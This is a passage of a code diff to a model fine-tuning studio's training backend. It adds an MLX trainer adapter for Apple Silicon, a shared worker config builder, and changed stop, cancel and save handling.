+            "max_grad_leaf_norm", values.get("max_grad_leaf_norm")
+        ),
+        "cast_norm_output_to_input_dtype": _coerce_optional_bool(
+            values.get("cast_norm_output_to_input_dtype"), True
+        ),
+        "random_seed": _coerce_seed(values.get("random_seed")),
+        "packing": values.get("packing", False),
+        "optim": values.get("optim", "adamw_8bit"),
+        "lr_scheduler_type": values.get("lr_scheduler_type", "linear"),
+        "use_lora": values.get("use_lora", True),
+        "lora_r": values.get("lora_r", 16),
+        "lora_alpha": values.get("lora_alpha", 16),
+        "lora_dropout": values.get("lora_dropout", 0.0),
+        "target_modules": values.get("target_modules"),
+        "gradient_checkpointing": values.get("gradient_checkpointing", "unsloth"),
+        "use_rslora": values.get("use_rslora", False),
+        "use_loftq": values.get("use_loftq", False),
+        "train_on_completions": values.get("train_on_completions", False),
+        "finetune_vision_layers": values.get("finetune_vision_layers", True),
+        "finetune_language_layers": values.get("finetune_language_layers", True),
+        "finetune_attention_modules": values.get("finetune_attention_modules", True),
+        "finetune_mlp_modules": values.get("finetune_mlp_modules", True),
+        "enable_wandb": values.get("enable_wandb", False),
+        "wandb_token": values.get("wandb_token"),
+        "wandb_project": values.get("wandb_project", "unsloth-training"),
+        "enable_tensorboard": values.get("enable_tensorboard", False),
+        "tensorboard_dir": values.get("tensorboard_dir", "runs"),
+        "resume_from_checkpoint": values.get("resume_from_checkpoint"),
+        "trust_remote_code": values.get("trust_remote_code", False),
+        "approved_remote_code_fingerprint": values.get("approved_remote_code_fingerprint"),
+        "subject": values.get("subject"),
+        "gpu_ids": values.get("gpu_ids"),
+        "s3_config": values.get("s3_config"),
+        "disable_xet": values.get("disable_xet", False),
+    }
+    for key in ("output_dir", "allow_external_output_dir"):
+        if key in values:
+            config[key] = values.get(key)
+    if config["training_type"] == "Full Finetuning":
+        config["load_in_4bit"] = False
+    return config
+
+
 _HF_TMP_CHECKPOINT_RE = re.compile(r"^tmp-checkpoint-\d+$")
 
 
@@ -133,7 +236,7 @@ def _s3_dataset_name(s3_dataset: Any) -> Optional[str]:
     return f"s3://{bucket}/{prefix}" if prefix else f"s3://{bucket}"
 
 
-def _cleanup_cancelled_checkpoints(output_dir: str | os.PathLike) -> None:
+def _cleanup_cancelled_checkpoints(output_dir: Union[str, os.PathLike]) -> None:
     """Remove only HF Trainer ``tmp-checkpoint-<step>/`` partials after a cancel.
 
     Completed ``checkpoint-<int>/`` dirs survive. Symlinked output_dir / children
@@ -183,7 +286,7 @@ PLOT_HEIGHT = 3.5
 
 @dataclass
 class TrainingProgress:
-    """Mirror of trainer.TrainingProgress so the parent never imports heavy ML modules."""
+    """Shared training progress payload for Studio and backend-aware trainers."""
 
     epoch: float = 0
     step: int = 0
@@ -200,6 +303,423 @@ class TrainingProgress:
     num_tokens: Optional[int] = None
     eval_loss: Optional[float] = None
     peak_memory_gb: Optional[float] = None
+    output_dir: Optional[str] = None
+
+
+class _MLXTrainerAdapter:
+    """Adapts the legacy UnslothTrainer API to the shared Studio MLX worker path."""
+
+    def __init__(self):
+        self.model = None
+        self.tokenizer = None
+        self.trainer = None
+        self.training_thread = None
+        self.training_progress = TrainingProgress()
+        self.progress_callbacks: list[Callable[[TrainingProgress], None]] = []
+        self.is_training = False
+        self.should_stop = False
+        self.save_on_stop = True
+        self.load_in_4bit = True
+        self.output_dir = None
+
+        self.is_cpt = False
+        self.is_vlm = False
+        self.is_audio = False
+        self.is_audio_vlm = False
+        self.model_name = None
+        self.max_seq_length = None
+
+        self._model_config: dict[str, Any] = {}
+        self._peft_config: dict[str, Any] = {}
+        self._dataset_config: dict[str, Any] = {}
+        self._event_queue: Optional[queue.Queue] = None
+        self._stop_queue: Optional[queue.Queue] = None
+        self._pump_thread: Optional[threading.Thread] = None
+        self._lock = threading.Lock()
+
+    def _activate_transformers_for_model(self, model_name: str, hf_token: Optional[str]) -> None:
+        try:
+            from utils.transformers_version import activate_transformers_for_subprocess
+            activate_transformers_for_subprocess(model_name, hf_token)
+        except Exception as exc:
+            logger.warning("MLX trainer adapter Transformers activation failed", error = str(exc))
+
+    def add_progress_callback(self, callback: Callable[[TrainingProgress], None]):
+        self.progress_callbacks.append(callback)
+
+    def _update_progress(self, **kwargs):
+        with self._lock:
+            for key, value in kwargs.items():
+                if hasattr(self.training_progress, key):
+                    setattr(self.training_progress, key, value)
+            progress = self.training_progress
+        for callback in self.progress_callbacks:
+            try:
+                callback(progress)
+            except Exception:
+                pass
+
+    def load_model(
+        self,
+        model_name: str,
+        max_seq_length: int = 2048,
+        load_in_4bit: bool = True,
+        hf_token: Optional[str] = None,
+        is_dataset_image: bool = False,
+        is_dataset_audio: bool = False,
+        trust_remote_code: bool = False,
+        full_finetuning: bool = False,
+        gpu_ids: Optional[list[int]] = None,
+    ) -> bool:
+        self.model_name = model_name
+        self.max_seq_length = max_seq_length
+        self.load_in_4bit = load_in_4bit
+        self._audio_type = None
+        self._activate_transformers_for_model(model_name, hf_token)
+        try:
+            from utils.models import detect_audio_type, is_vision_model
+
+            self._audio_type = detect_audio_type(model_name, hf_token)
+            if self._audio_type == "audio_vlm":
+                self.is_audio = False
+                self.is_audio_vlm = bool(is_dataset_audio)
+                self._audio_type = None
+            else:
+                self.is_audio = self._audio_type is not None
+                self.is_audio_vlm = False
+            vision = is_vision_model(model_name, hf_token = hf_token) if not self.is_audio else False
+            self.is_vlm = not self.is_audio_vlm and vision and bool(is_dataset_image)
+        except Exception as exc:
+            logger.warning("MLX trainer adapter model type detection failed", error = str(exc))
+            self.is_vlm = False
+            self.is_audio = False
+            self.is_audio_vlm = False
+        self.model = object()
+        self.tokenizer = object()
+        self._model_config = {
+            "model_name": model_name,
+            "max_seq_length": max_seq_length,
+            "load_in_4bit": load_in_4bit,
+            "hf_token": hf_token or "",
+            "is_dataset_image": bool(is_dataset_image),
+            "is_dataset_audio": bool(is_dataset_audio),
+            "trust_remote_code": bool(trust_remote_code),
+            "gpu_ids": gpu_ids,
+        }
+        self._update_progress(
+            is_training = False,
+            is_completed = False,
+            error = None,
+            step = 0,
+            loss = 0.0,
+            epoch = 0,
+            status_message = f"Queued MLX model load: {model_name}",
+        )
+        return True
+
+    def prepare_model_for_training(
+        self,
+        use_lora: bool = True,
+        finetune_vision_layers: bool = True,
+        finetune_language_layers: bool = True,
+        finetune_attention_modules: bool = True,
+        finetune_mlp_modules: bool = True,
+        target_modules: Optional[Union[list, str]] = None,
+        lora_r: int = 16,
+        lora_alpha: int = 16,
+        lora_dropout: float = 0.0,
+        use_gradient_checkpointing: Union[str, bool] = "unsloth",
+        use_rslora: bool = False,
+        use_loftq: bool = False,
+    ) -> bool:
+        self._peft_config = {
+            "use_lora": bool(use_lora),
+            "lora_r": lora_r,
+            "lora_alpha": lora_alpha,
+            "lora_dropout": lora_dropout,
+            "target_modules": target_modules,
+            "gradient_checkpointing": use_gradient_checkpointing,
+            "use_rslora": bool(use_rslora),
+            "use_loftq": bool(use_loftq),
+            "finetune_vision_layers": bool(finetune_vision_layers),
+            "finetune_language_layers": bool(finetune_language_layers),
+            "finetune_attention_modules": bool(finetune_attention_modules),
+            "finetune_mlp_modules": bool(finetune_mlp_modules),
+        }
+        self._update_progress(status_message = "Queued MLX training setup")
+        return True
+
+    def load_and_format_dataset(
+        self,
+        dataset_source: Optional[str],
+        format_type: str = "auto",
+        local_datasets: Optional[list[str]] = None,
+        local_eval_datasets: Optional[list[str]] = None,
+        custom_format_mapping: Optional[dict[str, Any]] = None,
+        subset: Optional[str] = None,
+        train_split: str = "train",
+        eval_split: Optional[str] = None,
+        dataset_streaming: bool = False,
+        eval_steps: float = 0.00,
+        dataset_slice_start: Optional[int] = None,
+        dataset_slice_end: Optional[int] = None,
+        is_cpt: bool = False,
+        s3_config: dict = None,
+    ) -> Optional[tuple]:
+        self._dataset_config = {
+            "hf_dataset": dataset_source or "",
+            "local_datasets": local_datasets,
+            "local_eval_datasets": local_eval_datasets,
+            "format_type": format_type or "",
+            "custom_format_mapping": custom_format_mapping,
+            "subset": subset,
+            "train_split": train_split or "train",
+            "eval_split": eval_split,
+            "dataset_streaming": bool(dataset_streaming),
+            "eval_steps": eval_steps or 0.0,
+            "dataset_slice_start": dataset_slice_start,
+            "dataset_slice_end": dataset_slice_end,
+            "s3_config": s3_config,
+        }
+        self.is_cpt = bool(is_cpt)
+        self._update_progress(status_message = "Queued MLX dataset load")
+        return ({"dataset": [], "final_format": "deferred_mlx_cli", "success": True}, None)
+
+    def start_training(
+        self,
+        dataset = None,
+        eval_dataset = None,
+        **training_args,
+    ) -> bool:
+        if self.is_training and self.training_thread and self.training_thread.is_alive():
+            return False
+        if self._pump_thread and self._pump_thread.is_alive():
+            self._pump_thread.join(timeout = 2.0)
+            if self._pump_thread.is_alive():
+                self._update_progress(error = "Previous training event pump is still finalizing")
+                return False
+        if not self._model_config:
+            self._update_progress(error = "Model not loaded")
+            return False
+        if not self._dataset_config:
+            self._update_progress(error = "Dataset not loaded")
+            return False
+        if self.is_cpt:
+            self._update_progress(
+                error = "Continued Pretraining is not supported for MLX training yet.",
+                is_training = False,
+                is_completed = False,
+            )
+            return False
+
+        config = self._build_worker_config(training_args)
+        event_queue = queue.Queue()
+        stop_queue = queue.Queue()
+        self._event_queue = event_queue
+        self._stop_queue = stop_queue
+        self.should_stop = False
+        self.is_training = True
+        self.training_progress = TrainingProgress(
+            is_training = True,
+            status_message = "Initializing MLX training...",
+        )
+
+        self.training_thread = threading.Thread(
+            target = self._run_training_thread,
+            args = (config, event_queue, stop_queue),
+            daemon = True,
+        )
+        self._pump_thread = threading.Thread(
+            target = self._pump_events,
+            args = (event_queue, self.training_thread),
+            daemon = True,
+        )
+        self.training_thread.start()
+        self._pump_thread.start()
+        return True
+
+    def _build_worker_config(self, training_args: dict[str, Any]) -> dict[str, Any]:
+        peft = {
+            "use_lora": True,
+            "lora_r": 16,
+            "lora_alpha": 16,
+            "lora_dropout": 0.0,
+            "target_modules": None,
+            "gradient_checkpointing": "unsloth",
+            "use_rslora": False,
+            "use_loftq": False,
+            "finetune_vision_layers": True,
+            "finetune_language_layers": True,
+            "finetune_attention_modules": True,
+            "finetune_mlp_modules": True,
+            **self._peft_config,
+        }
+        output_dir = training_args.get("output_dir")
+        if output_dir:
+            output_dir = os.path.abspath(os.path.expanduser(str(output_dir)))
+        values = {
+            **self._model_config,
+            **self._dataset_config,
+            **training_args,
+            "training_type": (
+                "Continued Pretraining"
+                if self.is_cpt
+                else "LoRA/QLoRA"
+                if peft["use_lora"]
+                else "Full Finetuning"
+            ),
+            **peft,
+            "output_dir": output_dir,
+            "allow_external_output_dir": bool(output_dir),
+        }
+        config = _build_training_worker_config(values)
+        config["resolved_gpu_ids"] = None
+        config["gpu_selection"] = None
+        return config
+
+    def _run_training_thread(
+        self, config: dict[str, Any], event_queue: queue.Queue, stop_queue: queue.Queue
+    ):
+        try:
+            self._run_mlx_worker(config, event_queue, stop_queue)
+        except Exception as exc:
+            if event_queue is not None:
+                event_queue.put(
+                    {
+                        "type": "error",
+                        "error": str(exc),
+                        "stack": traceback.format_exc(limit = 20),
+                        "ts": time.time(),
+                    }
+                )
+
+    def _run_mlx_worker(
+        self, config: dict[str, Any], event_queue: queue.Queue, stop_queue: queue.Queue
+    ):
+        from .worker import run_mlx_training_process
+        run_mlx_training_process(
+            event_queue = event_queue,
+            stop_queue = stop_queue,
+            config = config,
+        )
+
+    def _pump_events(self, event_queue: queue.Queue, training_thread: threading.Thread):
+        while True:
+            event = None
+            try:
+                event = event_queue.get(timeout = 0.25)
+            except queue.Empty:
+                pass
+            if event is not None:
+                self._handle_event(event)
+                continue
+            if not training_thread.is_alive():
+                self._drain_events(event_queue)
+                with self._lock:
+                    if self.training_progress.is_training:
+                        self.training_progress.is_training = False
+                        if self.should_stop:
+                            self.training_progress.status_message = "Training stopped."
+                        elif (
+                            not self.training_progress.error
+                            and not self.training_progress.is_completed
+                        ):
+                            self.training_progress.error = "Training process exited unexpectedly"
+                    self.is_training = False
+                    self._event_queue = None
+                    self._stop_queue = None
+                return
+
+    def _drain_events(self, event_queue: Optional[queue.Queue] = None):
+        event_queue = event_queue or self._event_queue
+        if event_queue is None:
+            return
+        while True:
+            try:
+                self._handle_event(event_queue.get_nowait())
+            except queue.Empty:
+                return
+
+    def _handle_event(self, event: dict[str, Any]):
+        etype = event.get("type")
+        if etype == "status":
+            self._update_progress(
+                status_message = event.get("status_message") or event.get("message") or ""
+            )
+            return
+        if etype == "progress":
+            self._update_progress(
+                step = event.get("step", self.training_progress.step),
+                epoch = event.get("epoch", self.training_progress.epoch),
+                loss = event.get("loss", self.training_progress.loss),
+                learning_rate = event.get("learning_rate", self.training_progress.learning_rate),
+                total_steps = event.get("total_steps", self.training_progress.total_steps),
+                elapsed_seconds = event.get(
+                    "elapsed_seconds",
+                    self.training_progress.elapsed_seconds,
+                ),
+                eta_seconds = event.get("eta_seconds", self.training_progress.eta_seconds),
+                grad_norm = event.get("grad_norm", self.training_progress.grad_norm),
+                num_tokens = event.get("num_tokens", self.training_progress.num_tokens),
+                eval_loss = event.get("eval_loss", self.training_progress.eval_loss),
+                peak_memory_gb = event.get("peak_memory_gb", self.training_progress.peak_memory_gb),
+            )
+            return
+        if etype == "complete":
+            status_message = event.get("status_message") or "Training completed"
+            output_dir = event.get("output_dir")
+            was_cancelled = self.should_stop or status_message.strip().lower() in {
+                "training cancelled",
+                "training stopped",
+            }
+            self.output_dir = output_dir
+            self._update_progress(
+                is_training = False,
+                is_completed = not was_cancelled,
+                error = None,
+                status_message = status_message,
+                output_dir = output_dir,
+            )
+            self.is_training = False
+            return
+        if etype == "error":
+            self._update_progress(
+                is_training = False,
+                is_completed = False,
+                error = event.get("error") or event.get("message") or "Training failed",
+            )
+            self.is_training = False
+            return
+
+    def stop_training(self, save: bool = True):
+        self.should_stop = True
+        self.save_on_stop = bool(save)
+        if self._stop_queue is not None:
+            self._stop_queue.put({"type": "stop", "save": save})
+        status_message = (
+            "Stopping training and saving checkpoint..." if save else "Cancelling training..."
+        )
+        self._update_progress(status_message = status_message)
+        return True
+
+    def get_training_progress(self) -> TrainingProgress:
+        pump_thread = self._pump_thread
+        training_thread = self.training_thread
+        if (
+            pump_thread is not None
+            and pump_thread.is_alive()
+            and (training_thread is None or not training_thread.is_alive())
+            and threading.current_thread() is not pump_thread
+        ):
+            pump_thread.join(timeout = 5.0)
+        if pump_thread is None or not pump_thread.is_alive():
+            self._drain_events()
+        with self._lock:
+            return replace(self.training_progress)
+
+
+def create_mlx_trainer_adapter(*args, **kwargs):
+    return _MLXTrainerAdapter(*args, **kwargs)
 
 
 class TrainingBackend:
@@ -296,86 +816,7 @@ class TrainingBackend:
         # treat this fresh setup as a recoverable death.
         self._pump_running = False
 
-        # Build config dict for the subprocess
-        config = {
-            "model_name": kwargs["model_name"],
-            "project_name": kwargs.get("project_name"),
-            "training_type": kwargs.get("training_type", "LoRA/QLoRA"),
-            "hf_token": kwargs.get("hf_token", ""),
-            "load_in_4bit": kwargs.get("load_in_4bit", True),
-            "max_seq_length": kwargs.get("max_seq_length", 2048),
-            "vision_image_size": kwargs.get("vision_image_size"),
-            "hf_dataset": kwargs.get("hf_dataset", ""),
-            "local_datasets": kwargs.get("local_datasets"),
-            "local_eval_datasets": kwargs.get("local_eval_datasets"),
-            "format_type": kwargs.get("format_type", ""),
-            "subset": kwargs.get("subset"),
-            "train_split": kwargs.get("train_split", "train"),
-            "eval_split": kwargs.get("eval_split"),
-            "eval_steps": kwargs.get("eval_steps", 0.00),
-            "dataset_streaming": kwargs.get("dataset_streaming", False),
-            "dataset_slice_start": kwargs.get("dataset_slice_start"),
-            "dataset_slice_end": kwargs.get("dataset_slice_end"),
-            "custom_format_mapping": kwargs.get("custom_format_mapping"),
-            "is_dataset_image": kwargs.get("is_dataset_image", False),
-            "is_dataset_audio": kwargs.get("is_dataset_audio", False),
-            "is_embedding": kwargs.get("is_embedding", False),
-            "num_epochs": kwargs.get("num_epochs", 3),
-            "learning_rate": kwargs.get("learning_rate", "2e-4"),
-            "embedding_learning_rate": kwargs.get("embedding_learning_rate"),
-            "batch_size": kwargs.get("batch_size", 2),
-            "gradient_accumulation_steps": kwargs.get("gradient_accumulation_steps", 4),
-            "warmup_steps": kwargs.get("warmup_steps"),
-            "warmup_ratio": kwargs.get("warmup_ratio"),
-            "max_steps": kwargs.get("max_steps", 0),
-            "save_steps": kwargs.get("save_steps", 0),
-            "weight_decay": kwargs.get("weight_decay", 0.001),
-            "max_grad_norm": kwargs.get("max_grad_norm", 0.0),
-            "max_grad_value": _coerce_optional_nonneg_float(
-                "max_grad_value", kwargs.get("max_grad_value")
-            ),
-            "max_grad_leaf_norm": _coerce_optional_nonneg_float(
-                "max_grad_leaf_norm", kwargs.get("max_grad_leaf_norm")
-            ),
-            "cast_norm_output_to_input_dtype": _coerce_optional_bool(
-                kwargs.get("cast_norm_output_to_input_dtype"), True
-            ),
-            # MLX/CUDA/embedding workers need an int (transformers.set_seed(None) raises).
-            "random_seed": _coerce_seed(kwargs.get("random_seed")),
-            "packing": kwargs.get("packing", False),
-            "optim": kwargs.get("optim", "adamw_8bit"),
-            "lr_scheduler_type": kwargs.get("lr_scheduler_type", "linear"),
-            "use_lora": kwargs.get("use_lora", True),
-            "lora_r": kwargs.get("lora_r", 16),
-            "lora_alpha": kwargs.get("lora_alpha", 16),
-            "lora_dropout": kwargs.get("lora_dropout", 0.0),
-            "target_modules": kwargs.get("target_modules"),
-            "gradient_checkpointing": kwargs.get("gradient_checkpointing", "unsloth"),
-            "use_rslora": kwargs.get("use_rslora", False),
-            "use_loftq": kwargs.get("use_loftq", False),
-            "train_on_completions": kwargs.get("train_on_completions", False),
-            "finetune_vision_layers": kwargs.get("finetune_vision_layers", True),
-            "finetune_language_layers": kwargs.get("finetune_language_layers", True),
-            "finetune_attention_modules": kwargs.get("finetune_attention_modules", True),
-            "finetune_mlp_modules": kwargs.get("finetune_mlp_modules", True),
-            "enable_wandb": kwargs.get("enable_wandb", False),
-            "wandb_token": kwargs.get("wandb_token"),
-            "wandb_project": kwargs.get("wandb_project", "unsloth-training"),
-            "enable_tensorboard": kwargs.get("enable_tensorboard", False),
-            "tensorboard_dir": kwargs.get("tensorboard_dir", "runs"),
-            "resume_from_checkpoint": kwargs.get("resume_from_checkpoint"),
-            "trust_remote_code": kwargs.get("trust_remote_code", False),
-            "approved_remote_code_fingerprint": kwargs.get("approved_remote_code_fingerprint"),
-            "subject": kwargs.get("subject"),
-            "gpu_ids": kwargs.get("gpu_ids"),
-            "s3_config": kwargs.get("s3_config"),
-            # Flipped to True only by the HTTP-fallback respawn after a stall.
-            "disable_xet": kwargs.get("disable_xet", False),
-        }
-
-        # Full finetuning always runs in 16-bit; LoRA/QLoRA/CPT keep the request.
-        if config["training_type"] == "Full Finetuning":
-            config["load_in_4bit"] = False
+        config = _build_training_worker_config(kwargs)
 
         # Split GPU validation from placement around the VRAM hook:
         #   * Explicit gpu_ids are validated here (raises -> the route returns 400
@@ -401,7 +842,7 @@ class TrainingBackend:
         )
 
         defer_auto_selection = False
-        if _hw.DEVICE == _hw.DeviceType.MLX:
+        if should_use_mlx_training_backend(device = _hw.DEVICE):
             config["resolved_gpu_ids"] = None
             config["gpu_selection"] = None
         elif gpu_ids:
@@ -1022,17 +1463,22 @@ class TrainingBackend:
                 self._progress.is_training = True
 
             elif etype == "complete":
-                self._progress.is_training = False
-                self._progress.is_completed = True
-                self._output_dir = event.get("output_dir")
                 msg = event.get("status_message", "Training completed")
+                stopped = self._should_stop or msg.strip().lower() in {
+                    "training cancelled",
+                    "training stopped",
+                }
+                self._progress.is_training = False
+                self._progress.is_completed = not stopped
+                self._output_dir = event.get("output_dir")
+                self._progress.output_dir = self._output_dir
                 self._progress.status_message = msg
                 if not self._db_run_created and self.current_job_id and self._db_config:
                     db_action = "create_and_finalize"
                 else:
                     db_action = "finalize"
                 db_action_kwargs = {
-                    "status": "stopped" if self._should_stop else "completed",
+                    "status": "stopped" if stopped else "completed",
                     "output_dir": self._output_dir,
                 }
 
diff --git a/studio/backend/core/training/worker.py b/studio/backend/core/training/worker.py
index 17dc1299ca..0ff4d517ed 100644
--- a/studio/backend/core/training/worker.py
+++ b/studio/backend/core/training/worker.py
@@ -1309,14 +1309,18 @@ def _normalize_mlx_studio_scheduler(value):
 
 
 def _resolve_mlx_local_dataset_files(file_paths: list) -> list[str]:
-    """Resolve Studio local dataset uploads without importing the GPU trainer."""
+    """Resolve CLI paths and Studio local dataset uploads without importing the GPU trainer."""
     from utils.paths import resolve_dataset_path
 
     all_files: list[str] = []
     for dataset_file in file_paths or []:
-        file_path = (
-            dataset_file if os.path.isabs(dataset_file) else str(resolve_dataset_path(dataset_file))
-        )
+        dataset_path = Path(os.path.expanduser(str(dataset_file)))
+        if dataset_path.is_absolute():
+            file_path = str(dataset_path)
+        elif dataset_path.exists():
+            file_path = str(dataset_path.resolve())
+        else:
+            file_path = str(resolve_dataset_path(str(dataset_file)))
         file_path_obj = Path(file_path)
 
         if file_path_obj.is_dir():
@@ -1355,6 +1359,58 @@ def _mlx_local_dataset_loader_for_files(files: list[str]) -> str:
     raise ValueError(f"Unsupported dataset format: {files[0]}")
 
 
+_MLX_WORKER_COMPLETE = "_mlx_worker_complete"
+
+
+def _start_mlx_stop_poller(stop_queue):
+    import queue as _queue
+    import threading
+
+    stop_save = [True]
+    stop_requested = [False]
+    trainer_ref = [None]
+
+    def is_stop_requested():
+        return stop_requested[0]
+
+    def poll_stop():
+        while True:
+            try:
+                msg = stop_queue.get(timeout = 0.25)
+                if msg and msg.get("type") == _MLX_WORKER_COMPLETE:
+                    return
+                if msg and msg.get("type") == "stop":
+                    stop_save[0] = msg.get("save", True)
+                    stop_requested[0] = True
+                    trainer = trainer_ref[0]
+                    if trainer is not None:
+                        trainer.stop_requested = True
+                    return
+            except _queue.Empty:
+                continue
+            except (EOFError, OSError):
+                return
+
+    stop_thread = threading.Thread(target = poll_stop, daemon = True)
+    stop_thread.start()
+    return stop_save, stop_requested, trainer_ref, is_stop_requested, stop_thread
+
+
+def _resolve_mlx_output_dir(config, model_name):
+    from utils.paths import resolve_output_dir, default_run_dir_name
+
+    output_dir = config.get("output_dir", "")
+    if not output_dir:
+        output_dir = f"{default_run_dir_name(model_name)}_{int(time.time())}"
+        return str(resolve_output_dir(output_dir))
+    if config.get("allow_external_output_dir"):
+        output_path = Path(output_dir).expanduser()
+        if not output_path.is_absolute():
+            output_path = Path.cwd() / output_path
+        return str(output_path.resolve())
+    return str(resolve_output_dir(output_dir))
+
+
 def _run_mlx_training(event_queue, stop_queue, config):
     """Self-contained MLX training path for Apple Silicon.
 
@@ -1363,8 +1419,6 @@ def _run_mlx_training(event_queue, stop_queue, config):
     """
     import time
     import math
-    import threading
-    import queue as _queue
     from pathlib import Path
 
     def _send(event_type, **kwargs):
@@ -1374,31 +1428,9 @@ def _run_mlx_training(event_queue, stop_queue, config):
                 kwargs["message"] = sm
         event_queue.put({"type": event_type, "ts": time.time(), **kwargs})
 
-    _stop_save = [True]
-    _stop_requested = [False]
-    _trainer_ref = [None]
-
-    def _is_stop_requested():
-        return _stop_requested[0]
-
-    def _poll_stop():
-        while True:
-            try:
-                msg = stop_queue.get(timeout = 1.0)
-                if msg and msg.get("type") == "stop":
-                    _stop_save[0] = msg.get("save", True)
-                    _stop_requested[0] = True
-                    trainer = _trainer_ref[0]
-                    if trainer is not None:
-                        trainer.stop_requested = True
-                    return
-            except _queue.Empty:
-                continue
-            except (EOFError, OSError):
-                return
-
-    stop_thread = threading.Thread(target = _poll_stop, daemon = True)
-    stop_thread.start()
+    _stop_save, _stop_requested, _trainer_ref, _is_stop_requested, _stop_thread = (
+        _start_mlx_stop_poller(stop_queue)
+    )
 
     _send("status", status_message = "Loading MLX libraries...")
 
@@ -1804,21 +1836,14 @@ def _run_mlx_training(event_queue, stop_queue, config):
 
     # ── 5. Build output dir ──
     # Resolve to ~/.unsloth/studio/outputs/ so the export page finds it
-    from utils.paths import resolve_output_dir, ensure_dir
+    from utils.paths import ensure_dir
 
-    output_dir = config.get("output_dir", "")
-    if not output_dir:
-        output_dir = build_default_output_dir_name(
-            model_name,
-            config.get("project_name"),
-        )
-    output_dir = str(resolve_output_dir(output_dir))
+    output_dir = _resolve_mlx_output_dir(config, model_name)
     ensure_dir(Path(output_dir))
 
     # ── 6. Create trainer ──
     eval_steps_val = config.get("eval_steps", 0) or 0
     if isinstance(eval_steps_val, float) and 0 < eval_steps_val < 1:
-        # Studio sometimes sends fraction-of-total-steps
         eval_steps_val = max(1, int(eval_steps_val * max_steps))
     else:
         eval_steps_val = int(eval_steps_val)
@@ -2043,12 +2068,27 @@ def _run_mlx_training(event_queue, stop_queue, config):
     # ── 11. Run training ──
     gc.collect()
     mx.synchronize()
-    trainer.train(resume_from_checkpoint = resume_from_checkpoint)
+    _save_model = trainer.save_model
+
+    def _skip_internal_final_save(*args, **kwargs):
+        raise ValueError("worker owns final save")
+
+    trainer.save_model = _skip_internal_final_save
+    try:
+        trainer.train(resume_from_checkpoint = resume_from_checkpoint)
+    finally:
+        trainer.save_model = _save_model
 
     # ── 12. Save and finalize ──
-    if trainer.stop_requested and not _stop_save[0]:
-        # User clicked "Cancel" (save=False) — skip saving
-        _send("complete", output_dir = None, status_message = "Training cancelled")
+    if trainer.stop_requested:
+        if not _stop_save[0]:
+            # Cancel (save=False): skip saving.
+            _send("complete", output_dir = None, status_message = "Training cancelled")
+        else:
+            _send("status", status_message = "Saving stopped model...")
+            mx.synchronize()
+            trainer.save_model(output_dir)
+            _send("complete", output_dir = output_dir, status_message = "Training stopped")
     else:
         _send("status", status_message = "Saving model...")
         mx.synchronize()
@@ -2067,6 +2107,79 @@ def _run_mlx_training(event_queue, stop_queue, config):
             pass
 
 
+def _is_current_process_apple_silicon() -> bool:
+    import platform
+    return platform.system() == "Darwin" and platform.machine() == "arm64"
+
+
+def run_mlx_training_process(
+    *,
+    event_queue: Any,
+    stop_queue: Any,
+    config: dict,
+    transformers_activated: bool = False,
+) -> None:
+    """MLX worker entrypoint shared by Studio subprocesses and the CLI adapter."""
+    model_name = config["model_name"]
+
+    backend_path = str(Path(__file__).resolve().parent.parent.parent)
+    if backend_path not in sys.path:
+        sys.path.insert(0, backend_path)
+
+    from utils.hf_xet_fallback import child_should_disable_xet
+
+    if child_should_disable_xet(config):
+        os.environ["HF_HUB_DISABLE_XET"] = "1"
+        os.environ["HF_HUB_ENABLE_HF_TRANSFER"] = "0"
+
+    if not transformers_activated:
+        # Must precede detect_hardware(): its MLX stack check imports mlx_lm, hence transformers.
+        _activate_transformers_version_or_warn(model_name, config.get("hf_token") or None)
+
+    from utils.hardware import hardware as _hw
+
+    _hw.detect_hardware()
+    if _hw.DEVICE != _hw.DeviceType.MLX:
+        event_queue.put(
+            {
+                "type": "error",
+                "error": "MLX training requires Apple Silicon with the MLX backend available.",
+                "stack": "",
+                "ts": time.time(),
+            }
+        )
+        return
+
+    if config.get("is_dataset_audio"):
+        event_queue.put(
+            {
+                "type": "error",
+                "error": "Audio dataset training is not yet supported on Apple Silicon.",
+                "stack": "",
+                "ts": time.time(),
+            }
+        )
+        return
+
+    try:
+        try:
+            _run_mlx_training(event_queue, stop_queue, config)
+        finally:
+            try:
+                stop_queue.put({"type": _MLX_WORKER_COMPLETE})
+            except (EOFError, OSError, ValueError):
+                pass
+    except Exception as exc:
+        event_queue.put(
+            {
+                "type": "error",
+                "error": str(exc),
+                "stack": traceback.format_exc(limit = 20),
+                "ts": time.time(),
+            }
+        )
+
+
 def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> None:
     """Subprocess entrypoint. Fresh Python — no stale module state.
 
@@ -2141,36 +2254,26 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
     if backend_path not in sys.path:
         sys.path.insert(0, backend_path)
 
+    from .training import is_apple_silicon_training_platform, should_use_mlx_training_backend
+
+    mlx_backend_requested = is_apple_silicon_training_platform()
+
+    mlx_transformers_activated = False
+    if mlx_backend_requested and _is_current_process_apple_silicon():
+        # Must precede detect_hardware(): its MLX stack check imports mlx_lm, hence transformers.
+        _activate_transformers_version_or_warn(model_name, config.get("hf_token") or None)
+        mlx_transformers_activated = True
+
     from utils.hardware import hardware as _hw
 
     _hw.detect_hardware()
-    if _hw.DEVICE == _hw.DeviceType.MLX:
-        if config.get("is_dataset_audio"):
-            event_queue.put(
-                {
-                    "type": "error",
-                    "error": "Audio dataset training is not yet supported on Apple Silicon.",
-                    "stack": "",
-                    "ts": time.time(),
-                }
-            )
-            return
-        # Activate correct transformers version (Gemma-4 needs a 5.x sidecar, etc.)
-        # Must happen before any transformers/mlx-lm imports in _run_mlx_training.
-        # Non-fatal: fall through with whatever version is installed, but log
-        # the failure instead of swallowing it (issue #6103).
-        _activate_transformers_version_or_warn(model_name, config.get("hf_token") or None)
-        try:
-            _run_mlx_training(event_queue, stop_queue, config)
-        except Exception as exc:
-            event_queue.put(
-                {
-                    "type": "error",
-                    "error": str(exc),
-                    "stack": traceback.format_exc(limit = 20),
-                    "ts": time.time(),
-                }
-            )
+    if mlx_backend_requested or should_use_mlx_training_backend(device = _hw.DEVICE):
+        run_mlx_training_process(
+            event_queue = event_queue,
+            stop_queue = stop_queue,
+            config = config,
+            transformers_activated = mlx_transformers_activated,
+        )
         return
 
     # ── 1. Activate correct transformers version BEFORE any ML imports ──
@@ -2693,7 +2796,8 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
         if backend_path not in sys.path:
             sys.path.insert(0, backend_path)
 
-        from core.training.trainer import UnslothTrainer, TrainingProgress
+        from core.training.training import TrainingProgress
+        from core.training.trainer import UnslothTrainer
